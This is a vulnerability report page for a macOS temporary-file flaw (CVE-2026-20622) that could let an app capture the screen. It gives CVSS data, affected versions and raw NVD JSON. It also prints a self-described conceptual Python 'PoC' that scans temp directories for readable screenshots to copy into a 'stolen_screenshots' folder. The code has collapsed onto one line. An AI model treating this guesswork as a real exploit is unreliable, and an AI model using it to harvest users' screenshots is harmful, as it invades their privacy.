Security Vulnerability Report
中文
CVE-2026-20622 CVSS 7.5 HIGH

CVE-2026-20622

Published: 2026-03-25 01:17:04
Last Modified: 2026-03-25 21:53:54

Description

A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3. An app may be able to capture a user's screen.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.4
macOS Tahoe < 26.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import time # PoC Concept: Monitor temp directories for readable screen dumps # This script simulates checking for insecure temporary files def monitor_temp_dirs(): # Common macOS temp directories temp_dirs = ['/tmp', '/private/var/folders'] print("[*] Monitoring temporary directories for potential screen dumps...") while True: for dir_path in temp_dirs: if os.path.exists(dir_path): for root, dirs, files in os.walk(dir_path): for file in files: file_path = os.path.join(root, file) try: # Check if file is readable and looks like an image if os.access(file_path, os.R_OK): if file.endswith(('.png', '.jpg', '.jpeg')): print(f"[!] Found readable image file: {file_path}") # In a real exploit, this file would be copied/exfiltrated # os.system(f'cp {file_path} ./stolen_screenshots/') except Exception as e: pass time.sleep(1) if __name__ == "__main__": # Note: This is a conceptual demonstration based on the 'temporary file handling' description. # Actual exploitation requires precise timing and knowledge of the specific temp file naming convention. monitor_temp_dirs()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20622", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:03.873", "lastModified": "2026-03-25T21:53:53.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3. An app may be able to capture a user's screen."}, {"lang": "es", "value": "Un problema de privacidad fue abordado con un manejo mejorado de archivos temporales. Este problema está solucionado en macOS Sequoia 15.7.4, macOS Tahoe 26.3. Una aplicación podría capturar la pantalla de un usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.4", "matchCriteriaId": "A5F7A1AF-3DD7-4FA1-BF78-4855F83BB463"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.3", "matchCriteriaId": "0488A377-7971-4703-8823-05BF1E23CF48"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126348", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126349", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}